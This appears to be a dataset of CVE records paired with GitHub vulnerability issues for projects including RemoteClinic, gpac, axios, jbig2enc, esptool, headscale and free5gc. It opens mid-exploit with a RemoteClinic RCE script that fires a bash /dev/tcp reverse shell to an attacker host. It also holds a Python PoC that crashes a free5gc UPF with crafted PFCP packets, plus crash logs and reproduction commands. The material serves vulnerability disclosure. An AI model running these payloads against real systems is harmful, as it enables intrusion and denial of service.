log.info("Starting listener...")
listener = start_listener(LPORT)
log.info("Triggering RCE...")
log.info(f"URL: {TARGET_URL}/uploads/staff/{registration_id}.php")
execute_cmd(registration_id, f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'")
get_shell(listener)
if __name__ == "__main__":
exploit()
```
| Privilege escalation and arbitrary file upload vulnerability leading to Remote Code Execution | https://api.github.com/repos/remoteclinic/RemoteClinic/issues/24/comments | 1 | 2023-05-06T03:16:43Z | 2023-11-09T15:20:47Z | https://github.com/remoteclinic/RemoteClinic/issues/24 | 1,698,401,625 | 24 | 5,732 |
CVE-2023-33481 | 2023-11-07T15:15:10.793 | RemoteClinic 2.0 is vulnerable to a time-based blind SQL injection attack in the 'start' GET parameter of patients/index.php. | {
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] | github.com | [
"remoteclinic",
"RemoteClinic"
] | ## Description
The web application is vulnerable to a time-based blind SQL injection attack in the 'start' GET parameter of `patients/index.php`. An attacker can inject malicious SQL statements into the application, causing it to respond with a time-delayed response that indicates the vulnerability. Exploiting this vulnerability can allow an attacker to extract sensitive data or perform unauthorized actions on the underlying database.
## Steps to Reproduce
1. Send a specially crafted HTTP GET request to the affected web application, either manually or using a tool such as SQLMAP.
2. Observe that the application responds with a time-delayed response, indicating that the 'start' parameter is vulnerable to time-based blind SQL injection attacks.
## Mitigation
To mitigate this vulnerability, the developers of the application should implement proper input validation and parameter sanitization to prevent SQL injection attacks. Additionally, they should consider using parameterized queries or stored procedures to further reduce the risk of SQL injection vulnerabilities. | SQL injection vulnerability in the 'start' GET parameter of `patients/index.php` | https://api.github.com/repos/remoteclinic/RemoteClinic/issues/25/comments | 1 | 2023-05-06T03:48:39Z | 2023-11-09T15:21:52Z | https://github.com/remoteclinic/RemoteClinic/issues/25 | 1,698,412,619 | 25 | 5,733 |
CVE-2023-46001 | 2023-11-07T22:15:11.473 | Buffer Overflow vulnerability in gpac MP4Box v.2.3-DEV-rev573-g201320819-master allows a local attacker to cause a denial of service via the gpac/src/isomedia/isom_read.c:2807:51 function in gf_isom_get_user_data. | {
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"scope": "UNCHANGED",
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"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
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] | github.com | [
"gpac",
"gpac"
] | # Version
```
root@4dd48d09e778:~/gpac/bin/gcc# ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev573-g201320819-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Platform
```
root@4dd48d09e778:~/gpac/bin/gcc# uname -a
Linux 4dd48d09e778 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
```
# Poc
```
Pocgpac:https://github.com/S0ngJX/Poc/blob/main/Pocgpac
```
# Asan
```
root@4dd48d09e778:~/gpac/bin/gcc# ./MP4Box -dash 1000 -profile live -out session.mpd Pocgpac:@reframer:sap=1 Pocgpac
AddressSanitizer:DEADLYSIGNAL
=================================================================
==4066570==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7ffff5cc2ed0 bp 0x7ffffffeaf40 sp 0x7ffffffea6d8 T0)
==4066570==The signal is caused by a READ memory access.
==4066570==Hint: address points to the zero page.
#0 0x7ffff5cc2ed0 (/lib/x86_64-linux-gnu/libc.so.6+0x184ed0)
#1 0x441f94 in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long) (/root/gpac/bin/gcc/MP4Box+0x441f94)
#2 0x44236a in bcmp (/root/gpac/bin/gcc/MP4Box+0x44236a)
#3 0x7ffff681ed6d in gf_isom_get_user_data /root/gpac/src/isomedia/isom_read.c:2807:51
#4 0x7ffff71e9acb in isor_declare_track /root/gpac/src/filters/isoffin_load.c:696:5
#5 0x7ffff71fb2f6 in isor_declare_objects /root/gpac/src/filters/isoffin_load.c:1728:3
#6 0x7ffff72023e7 in isoffin_setup /root/gpac/src/filters/isoffin_read.c:181:6
#7 0x7ffff71ffb66 in isoffin_configure_pid /root/gpac/src/filters/isoffin_read.c:477:9
#8 0x7ffff6f1abed in gf_filter_pid_configure /root/gpac/src/filter_core/filter_pid.c:876:6
#9 0x7ffff6f367b6 in gf_filter_pid_connect_task /root/gpac/src/filter_core/filter_pid.c:1230:3
#10 0x7ffff6f85478 in gf_fs_thread_proc /root/gpac/src/filter_core/filter_session.c:2105:3
#11 0x7ffff6f83fed in gf_fs_run /root/gpac/src/filter_core/filter_session.c:2405:3
#12 0x7ffff69bd98c in gf_dasher_process /root/gpac/src/media_tools/dash_segmenter.c:1236:6
#13 0x50dfc7 in do_dash /root/gpac/applications/mp4box/mp4box.c:4831:15
#14 0x50dfc7 in mp4box_main /root/gpac/applications/mp4box/mp4box.c:6245:7
#15 0x7ffff5b62082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#16 0x42adad in _start (/root/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x184ed0)
==4066570==ABORTING
```
# Reproduce
```
./MP4Box -dash 1000 -profile live -out session.mpd Pocgpac:@reframer:sap=1 Pocgpac
```
# Credit
```
Song Jiaxuan (Huazhong University of Science and Technology)
Zeng Yunxiang (Huazhong University of Science and Technology)
```
| SEGV in gpac/src/isomedia/isom_read.c:2807:51 in gf_isom_get_user_data | https://api.github.com/repos/gpac/gpac/issues/2629/comments | 0 | 2023-10-10T04:03:18Z | 2023-10-11T10:57:17Z | https://github.com/gpac/gpac/issues/2629 | 1,934,290,908 | 2,629 | 5,734 |
CVE-2023-45857 | 2023-11-08T21:15:08.550 | An issue discovered in Axios 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information. | {
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"axios",
"axios"
] | ### Describe the bug
Hi team, @jasonsaayman and @DigitalBrainJS,
The library inserts the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in **all requests to any server** when the XSRF-TOKEN cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.
It's crucial to ensure the protection of CSRF tokens. These tokens should be treated as confidential information and managed securely at all times.
You may check it here:
[https://portswigger.net/web-security/csrf/preventing](https://portswigger.net/web-security/csrf/preventing)
[https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
Type of vulnerability: [CWE-359: Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)
Severity: High (7.1) [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N](https://cvss.js.org/#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N)
### To Reproduce
1) Start a new project using the latest version of Next.js by running the following command: `npx create-next-app@latest`. Then, install the latest version of the Axios library with this command: `npm i axios`
2) Create an Axios instance with the following configuration, which enables cross-site request forgery (CSRF) protection by including credentials in requests:
```
const instance = axios.create({
withCredentials: true,
});
```
3) Install the XSRF-TOKEN cookie with specific attributes. Set the cookie value "whatever" and configuring it for the "localhost" domain with strict same-site policy:
```
const cookies = new Cookies();
cookies.set("XSRF-TOKEN", "whatever", {
domain: "localhost",
sameSite: "strict",
});
```
4) Initiate a cross-domain request using your Axios instance. In this example, we're making a GET request to "https://www.com/," and we handle the response and potential errors:
```
instance
.get("https://www.com")
.then((res) => console.log(res.data))
.catch((err) => console.error(err.message));
```
5) Run your project, and open the browser's network tab for debugging and monitoring network activity.
6) Verify that the cross-domain request to "https://www.com/" includes the "X-XSRF-TOKEN" header with the value "whatever."
7) Confirm that the "XSRF-TOKEN" cookie's value is disclosed to any 3rd-party host when making requests using the Axios instance. **This is essential for security as you don't want to leak CSRF tokens to unauthorized entities.**
### Code snippet
```js
lib/adapters/xhr.js:191
const xsrfValue = (config.withCredentials || isURLSameOrigin(fullPath))
```
### Expected behavior
ER: the XSRF-TOKEN is not disclosed to a 3rd party host
AR: the XSRF-TOKEN is disclosed in every request made with the Axios instance
### Axios Version
[v0.8.1] - [v1.5.1]
### Adapter Version
_No response_
### Browser
_No response_
### Browser Version
_No response_
### Node.js Version
_No response_
### OS
_No response_
### Additional Library Versions
_No response_
### Additional context/Screenshots
The current effective solution is to change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.
[https://nvd.nist.gov/vuln/detail/CVE-2023-45857](https://nvd.nist.gov/vuln/detail/CVE-2023-45857
)
```bash
https://prnt.sc/xDcRmFozxSHJ
```
| CVE-2023-45857 (CWE-359) XSRF-TOKEN value is disclosed to an unauthorised actor | https://api.github.com/repos/axios/axios/issues/6006/comments | 40 | 2023-10-16T20:36:35Z | 2024-04-19T20:29:13Z | https://github.com/axios/axios/issues/6006 | 1,946,049,542 | 6,006 | 5,735 |
CVE-2023-46362 | 2023-11-08T21:15:08.633 | jbig2enc v0.28 was discovered to contain a heap-use-after-free via jbig2enc_auto_threshold_using_hash in src/jbig2enc.cc. | {
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"agl",
"jbig2enc"
] | # heap-use-after-free in jbig2enc
### Description
jbig2enc v0.28 was discovered to contain a heap-use-after-free via jbig2enc_auto_threshold_using_hash in src/jbig2enc.cc. This vulnerability can lead to a Denial of Service (DoS).
### ASAN Log
./src/jbig2 -s -a -p Poc1jbig2enc
```shell
=================================================================
==1464517==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000015470 at pc 0x555555560b51 bp 0x7fffffffdf70 sp 0x7fffffffdf60
READ of size 4 at 0x603000015470 thread T0
#0 0x555555560b50 in remove_templates /test2/jbig2enc/src/jbig2enc.cc:248
#1 0x555555562efd in jbig2enc_auto_threshold_using_hash(jbig2ctx*) /test2/jbig2enc/src/jbig2enc.cc:484
#2 0x55555555f4f1 in main /test2/jbig2enc/src/jbig2.cc:492
#3 0x7ffff6c1f082 in __libc_start_main ../csu/libc-start.c:308
#4 0x55555555bf4d in _start (/test2/jbig2enc/src/jbig2+0x7f4d)
0x603000015470 is located 16 bytes inside of 24-byte region [0x603000015460,0x603000015478)
freed by thread T0 here:
#0 0x7ffff769251f in operator delete(void*) ../../../../src/libsanitizer/asan/asan_new_delete.cc:165
#1 0x55555557a4f5 in __gnu_cxx::new_allocator<std::_List_node<int> >::deallocate(std::_List_node<int>*, unsigned long) (/test2/jbig2enc/src/jbig2+0x264f5)
#2 0x5555555778f3 in std::allocator_traits<std::allocator<std::_List_node<int> > >::deallocate(std::allocator<std::_List_node<int> >&, std::_List_node<int>*, unsigned long) (/test2/jbig2enc/src/jbig2+0x238f3)
#3 0x555555571fc7 in std::__cxx11::_List_base<int, std::allocator<int> >::_M_put_node(std::_List_node<int>*) (/test2/jbig2enc/src/jbig2+0x1dfc7)
#4 0x55555556e28e in std::__cxx11::list<int, std::allocator<int> >::_M_erase(std::_List_iterator<int>) (/test2/jbig2enc/src/jbig2+0x1a28e)
#5 0x55555556c1f4 in std::__cxx11::list<int, std::allocator<int> >::pop_back() (/test2/jbig2enc/src/jbig2+0x181f4)
#6 0x555555560ba2 in remove_templates /test2/jbig2enc/src/jbig2enc.cc:251
#7 0x555555562efd in jbig2enc_auto_threshold_using_hash(jbig2ctx*) /test2/jbig2enc/src/jbig2enc.cc:484
#8 0x55555555f4f1 in main /test2/jbig2enc/src/jbig2.cc:492
#9 0x7ffff6c1f082 in __libc_start_main ../csu/libc-start.c:308
previously allocated by thread T0 here:
#0 0x7ffff7691587 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cc:104
#1 0x55555557b669 in __gnu_cxx::new_allocator<std::_List_node<int> >::allocate(unsigned long, void const*) (/test2/jbig2enc/src/jbig2+0x27669)
#2 0x55555557a524 in std::allocator_traits<std::allocator<std::_List_node<int> > >::allocate(std::allocator<std::_List_node<int> >&, unsigned long) (/test2/jbig2enc/src/jbig2+0x26524)
#3 0x555555577918 in std::__cxx11::_List_base<int, std::allocator<int> >::_M_get_node() (/test2/jbig2enc/src/jbig2+0x23918)
#4 0x55555557236d in std::_List_node<int>* std::__cxx11::list<int, std::allocator<int> >::_M_create_node<int const&>(int const&) (/test2/jbig2enc/src/jbig2+0x1e36d)
#5 0x55555556e99f in void std::__cxx11::list<int, std::allocator<int> >::_M_insert<int const&>(std::_List_iterator<int>, int const&) (/test2/jbig2enc/src/jbig2+0x1a99f)
#6 0x555555577cf2 in void std::__cxx11::list<int, std::allocator<int> >::emplace_back<int const&>(int const&) (/test2/jbig2enc/src/jbig2+0x23cf2)
#7 0x5555555728f2 in void std::__cxx11::list<int, std::allocator<int> >::_M_initialize_dispatch<std::_List_const_iterator<int> >(std::_List_const_iterator<int>, std::_List_const_iterator<int>, std::__false_type) (/test2/jbig2enc/src/jbig2+0x1e8f2)
#8 0x55555556ebe7 in std::__cxx11::list<int, std::allocator<int> >::list(std::__cxx11::list<int, std::allocator<int> > const&) (/test2/jbig2enc/src/jbig2+0x1abe7)
#9 0x55555556cbb6 in std::pair<unsigned int, std::__cxx11::list<int, std::allocator<int> > >::pair<int&, std::__cxx11::list<int, std::allocator<int> >&, true>(int&, std::__cxx11::list<int, std::allocator<int> >&) (/test2/jbig2enc/src/jbig2+0x18bb6)
#10 0x555555562cba in jbig2enc_auto_threshold_using_hash(jbig2ctx*) /test2/jbig2enc/src/jbig2enc.cc:471
#11 0x55555555f4f1 in main /test2/jbig2enc/src/jbig2.cc:492
#12 0x7ffff6c1f082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-use-after-free /test2/jbig2enc/src/jbig2enc.cc:248 in remove_templates
Shadow bytes around the buggy address:
0x0c067fffaa30: fa fa fd fd fd fa fa fa fd fd fd fa fa fa 00 00
0x0c067fffaa40: 00 fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa
0x0c067fffaa50: fd fd fd fa fa fa 00 00 00 fa fa fa fd fd fd fa
0x0c067fffaa60: fa fa fd fd fd fa fa fa fd fd fd fa fa fa 00 00
0x0c067fffaa70: 00 fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa
=>0x0c067fffaa80: fd fd fd fa fa fa fd fd fd fa fa fa fd fd[fd]fa
0x0c067fffaa90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fffaaa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fffaab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fffaac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fffaad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1464517==ABORTING
```
### Reproduction
```shell
git clone https://github.com/agl/jbig2enc.git
cd jbig2enc
apt install libleptonica-dev
./autogen.sh
CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS=" -fsanitize=address -fno-omit-frame-pointer -g" ./configure --disable-shared
make -j24
./src/jbig2 -s -a -p Poc1jbig2enc
```
### PoC
Poc1jbig2enc: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/Poc1jbig2enc
### Version
```shell
root@38ad1e4b9d16:/test2/jbig2enc# ./src/jbig2 --version
jbig2enc 0.28
```
### Reference
https://github.com/agl/jbig2enc
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang | heap-use-after-free in jbig2enc via jbig2enc_auto_threshold_using_hash in src/jbig2enc.cc. | https://api.github.com/repos/agl/jbig2enc/issues/84/comments | 2 | 2023-10-16T17:25:59Z | 2024-12-19T17:54:29Z | https://github.com/agl/jbig2enc/issues/84 | 1,945,735,940 | 84 | 5,736 |
CVE-2023-46363 | 2023-11-08T21:15:08.673 | jbig2enc v0.28 was discovered to contain a SEGV via jbig2_add_page in src/jbig2enc.cc:512. | {
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] | github.com | [
"agl",
"jbig2enc"
] | # SEGV in jbig2enc
### Description
jbig2enc v0.28 was discovered to contain a SEGV via jbig2_add_page in src/jbig2enc.cc:512. This vulnerability can lead to a Denial of Service (DoS).
### ASAN Log
./src/jbig2 -s -S -p -v -d -2 -O out.png Poc2jbig2enc
```shell
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2937923==ERROR: AddressSanitizer: SEGV on unknown address 0x62f00df00400 (pc 0x7ffff7267108 bp 0x6060000000e0 sp 0x7fffffffe0e0 T0)
==2937923==The signal is caused by a READ memory access.
#0 0x7ffff7267107 in pixSetPadBits (/lib/x86_64-linux-gnu/liblept.so.5+0x12e107)
#1 0x7ffff71c93f4 in pixConnCompPixa (/lib/x86_64-linux-gnu/liblept.so.5+0x903f4)
#2 0x7ffff72262d8 in jbGetComponents (/lib/x86_64-linux-gnu/liblept.so.5+0xed2d8)
#3 0x7ffff72289eb in jbAddPage (/lib/x86_64-linux-gnu/liblept.so.5+0xef9eb)
#4 0x5555555633ad in jbig2_add_page(jbig2ctx*, Pix*) /test2/jbig2enc/src/jbig2enc.cc:512
#5 0x55555555f408 in main /test2/jbig2enc/src/jbig2.cc:482
#6 0x7ffff6c1f082 in __libc_start_main ../csu/libc-start.c:308
#7 0x55555555bf4d in _start (/test2/jbig2enc/src/jbig2+0x7f4d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/liblept.so.5+0x12e107) in pixSetPadBits
==2937923==ABORTING
```
### Reproduction
```shell
git clone https://github.com/agl/jbig2enc.git
cd jbig2enc
apt install libleptonica-dev
./autogen.sh
CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS=" -fsanitize=address -fno-omit-frame-pointer -g" ./configure --disable-shared
make -j24
./src/jbig2 -s -S -p -v -d -2 -O out.png Poc2jbig2enc
```
### PoC
Poc2jbig2enc: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/Poc2jbig2enc
### Version
```shell
root@38ad1e4b9d16:/test2/jbig2enc# ./src/jbig2 --version
jbig2enc 0.28
```
### Reference
https://github.com/agl/jbig2enc
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang | SEGV in jbig2enc | https://api.github.com/repos/agl/jbig2enc/issues/85/comments | 2 | 2023-10-16T17:34:18Z | 2024-12-19T18:03:12Z | https://github.com/agl/jbig2enc/issues/85 | 1,945,750,410 | 85 | 5,737 |
CVE-2023-4218 | 2023-11-09T09:15:08.320 | In Eclipse IDE versions < 2023-09 (4.29) some files with xml content are parsed vulnerable against all sorts of XXE attacks. The user just needs to open any evil project or update an open project with a vulnerable file (for example for review a foreign repository or patch).
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"Third Party Advisory"
] | github.com | [
"eclipse-emf",
"org.eclipse.emf"
] | Please provide an XML load option for whether or not to resolve external entities.
And please disable external loading by default.
It would be ok, to have a fixed set of external files precached locally like in org.eclipse.help.internal.entityresolver.LocalEntityResolver / /org.eclipse.help/dtds/internal
| do not to resolve external entities | https://api.github.com/repos/eclipse-emf/org.eclipse.emf/issues/10/comments | 0 | 2023-07-31T16:07:39Z | 2023-08-01T12:52:20Z | https://github.com/eclipse-emf/org.eclipse.emf/issues/10 | 1,829,582,952 | 10 | 5,738 |
CVE-2023-46894 | 2023-11-09T16:15:34.887 | An issue discovered in esptool 4.6.2 allows attackers to view sensitive information via weak cryptographic algorithm. | {
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] | github.com | [
"espressif",
"esptool"
] | ### Operating System
ALL
### Esptool Version
4.6.2
### Python Version
python3.x
### Full Esptool Command Line that Was Run
None
### Esptool Output
```shell
Description:
I have identified a security vulnerability in the esptool project's use of AES ECB (Electronic Codebook) mode for initialization. This vulnerability can potentially expose sensitive information and compromise the security of the application.
Locations:
https://github.com/espressif/esptool/blob/master/espsecure/__init__.py#L128
https://github.com/espressif/esptool/blob/master/espsecure/__init__.py#L1195
Version:
esptool <= 4.6.2
```
### What is the Expected Behaviour?
Expected Behavior:
Instead of using AES ECB, it is recommended to use more secure encryption modes, such as AES CBC (Cipher Block Chaining) or AES GCM (Galois/Counter Mode), for configuration in order to enhance the security of esptool.
Recommendations:
It is strongly recommended to update the project's code at line 128 and line 1195 in the __init__.py file to use more secure encryption modes, such as AES CBC or AES GCM, for configuration. This will help mitigate the potential security risks associated with using AES ECB.Otherwise,the cryprography.io(https://cryptography.io/) crypto library is a good programming practices.
### More Information
_No response_
### Other Steps to Reproduce
_No response_ | Cryptographic API Misuse Vulnerability: AES ECB used for initialization (ESPTOOL-756) | https://api.github.com/repos/espressif/esptool/issues/926/comments | 1 | 2023-10-23T14:32:24Z | 2023-10-27T02:27:48Z | https://github.com/espressif/esptool/issues/926 | 1,957,318,275 | 926 | 5,739 |
CVE-2023-47390 | 2023-11-11T18:15:14.683 | Headscale through 0.22.3 writes bearer tokens to info-level logs. | {
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] | github.com | [
"juanfont",
"headscale"
] | <!-- Headscale is a multinational community across the globe. Our common language is English. Please consider raising the bug report in this language. -->
**Bug description**
Looking at the headscale logs, it logs this at info level when accessing the HTTP api:
```
2023-03-11T21:13:56Z INF unary dur=0.815623 md={":authority":"/var/run/headscale.sock","authorization":"Bearer XXX.XXX","content-type":"application/grpc","grpcgateway-accept":"*/*","grpcgateway-authorization":"Bearer XXX.XXX","grpcgateway-user-agent":"python-httpx/0.23.3","user-agent":"grpc-go/1.51.0","x-forwarded-for":"xxxxx","x-forwarded-host":"xxxxxx"} method=ListApiKeys req={} service=headscale.v1.HeadscaleService
```
This includes the whole bearer token. It would be great if the credentials wouldn't get logged :) | Headscale logs bearer tokens | https://api.github.com/repos/juanfont/headscale/issues/1259/comments | 13 | 2023-03-11T21:18:28Z | 2024-02-29T15:52:31Z | https://github.com/juanfont/headscale/issues/1259 | 1,620,148,580 | 1,259 | 5,740 |
CVE-2023-47346 | 2023-11-13T22:15:07.740 | Buffer Overflow vulnerability in free5gc 3.3.0, UPF 1.2.0, and SMF 1.2.0 allows attackers to cause a denial of service via crafted PFCP messages. | {
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"free5gc",
"free5gc"
] | ## Describe the bug
While testing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when it receives special kind of PFCP messages (the secondary IE type is larger than 0x7fff). This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash.
## To Reproduce
Steps to reproduce the behavior:
1. Build the UPF with source code
2. Run the bin/upf with default config/upfcfg.yaml
3. Run the following POC python script
```python
#!/usr/bin/env python3
import socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.settimeout(1.0)
pfcp_association_setup_request = b'\x20\x05\x00\x1f\x00\x00\x01\x00\x00\x3c\x00\x05\x00\x0a\x64\xc8\x64\x00\x60\x00\x04\xe8\x1f\xdc\x30\x00\x2b\x00\x06\x21\x00\x00\x00\x00\x00'
"""
PFCP Heartbeat Request with a second IE whose type is 0xffff (larger than 0x7fff)
"""
pfcp_heartbeat_request = b'\x20\x01\x00\x0f\x00\x00\x00\xff\xff\xff\x00\x00\x60\x00\x04\xe8\x1f\xdc\x30'
udp_socket.sendto(pfcp_association_setup_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.sendto(pfcp_heartbeat_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.close()
```
## Expected behavior
Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check this kind of PFCP messages whose second IE type is larger than 0x7ffff, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF.
## Screenshots
No special screenshot is provided.
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04
- Kernel version: 5.4.5-050405-generic
- go version: go1.21.1 linux/amd64
## Trace File
### Configuration File
No specific configuration is required.
### PCAP File
No specific pcap file is provided.
### Log File
```bash
time="2023-09-22T03:25:30.099608396+08:00" level="info" msg="UPF version: \n\tNot specify ldflags (which link version) during go build\n\tgo version: go1.21.1 linux/amd64" CAT="Main" NF="UPF"
time="2023-09-22T03:25:30.099702825+08:00" level="info" msg="Read config from [upfcfg.yaml]" CAT="CFG" NF="UPF"
time="2023-09-22T03:25:30.102422644+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF"
time="2023-09-22T03:25:30.102461710+08:00" level="info" msg="(*factory.Config)(0xc0004bb0e0)({\n\tVersion: (string) (len=5) \"1.0.3\",\n\tDescription: (string) (len=31) \"UPF initial local configuration\",\n\tPfcp: (*factory.Pfcp)(0xc00042d470)({\n\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\tNodeID: (string) (len=9) \"127.0.0.8\",\n\t\tRetransTimeout: (time.Duration) 1s,\n\t\tMaxRetrans: (uint8) 3\n\t}),\n\tGtpu: (*factory.Gtpu)(0xc00042d980)({\n\t\tForwarder: (string) (len=5) \"gtp5g\",\n\t\tIfList: ([]factory.IfInfo) (len=1 cap=1) {\n\t\t\t(factory.IfInfo) {\n\t\t\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\t\t\tType: (string) (len=2) \"N3\",\n\t\t\t\tName: (string) \"\",\n\t\t\t\tIfName: (string) \"\",\n\t\t\t\tMTU: (uint32) 0\n\t\t\t}\n\t\t}\n\t}),\n\tDnnList: ([]factory.DnnList) (len=1 cap=1) {\n\t\t(factory.DnnList) {\n\t\t\tDnn: (string) (len=8) \"internet\",\n\t\t\tCidr: (string) (len=12) \"10.60.0.0/24\",\n\t\t\tNatIfName: (string) \"\"\n\t\t}\n\t},\n\tLogger: (*factory.Logger)(0xc000023c40)({\n\t\tEnable: (bool) true,\n\t\tLevel: (string) (len=4) \"info\",\n\t\tReportCaller: (bool) false\n\t})\n})\n" CAT="CFG" NF="UPF"
time="2023-09-22T03:25:30.102518017+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF"
time="2023-09-22T03:25:30.102550910+08:00" level="info" msg="Log level is set to [info]" CAT="Main" NF="UPF"
time="2023-09-22T03:25:30.102559413+08:00" level="info" msg="Report Caller is set to [false]" CAT="Main" NF="UPF"
time="2023-09-22T03:25:30.114437499+08:00" level="info" msg="starting Gtpu Forwarder [gtp5g]" CAT="Main" NF="UPF"
time="2023-09-22T03:25:30.114705992+08:00" level="info" msg="GTP Address: \"127.0.0.8:2152\"" CAT="Main" NF="UPF"
time="2023-09-22T03:25:30.133751688+08:00" level="info" msg="buff netlink server started" CAT="BUFF" NF="UPF"
time="2023-09-22T03:25:30.133860807+08:00" level="info" msg="perio server started" CAT="Perio" NF="UPF"
time="2023-09-22T03:25:30.133875168+08:00" level="info" msg="Forwarder started" CAT="Gtp5g" NF="UPF"
time="2023-09-22T03:25:30.135060078+08:00" level="info" msg="starting pfcp server" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:25:30.135468767+08:00" level="info" msg="pfcp server started" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:25:30.135481293+08:00" level="info" msg="UPF started" CAT="Main" NF="UPF"
time="2023-09-22T03:25:44.317661998+08:00" level="info" msg="handleAssociationSetupRequest" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:25:44.317826268+08:00" level="info" msg="New node" CAT="PFCP" CPNodeID="10.100.200.100" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:25:44.318770003+08:00" level="fatal" msg="panic: runtime error: slice bounds out of range [7:5]\ngoroutine 17 [running]:\nruntime/debug.Stack()\n\t/snap/go/10339/src/runtime/debug/stack.go:24 +0x5e\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main.func1()\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:86 +0x4a\npanic({0x84f480?, 0xc0001c0150?})\n\t/snap/go/10339/src/runtime/panic.go:914 +0x21f\ngithub.com/wmnsk/go-pfcp/ie.ParseMultiIEs({0xc0001c0140?, 0xc0001c0138?, 0x7f29fbf11548?})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/ie/ie.go:637 +0x185\ngithub.com/wmnsk/go-pfcp/message.(*HeartbeatRequest).UnmarshalBinary(0xc000182630, {0xc0001c0138, 0x15, 0x15})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/heartbeat-request.go:101 +0xb3\ngithub.com/wmnsk/go-pfcp/message.Parse({0xc0001c0138, 0x15, 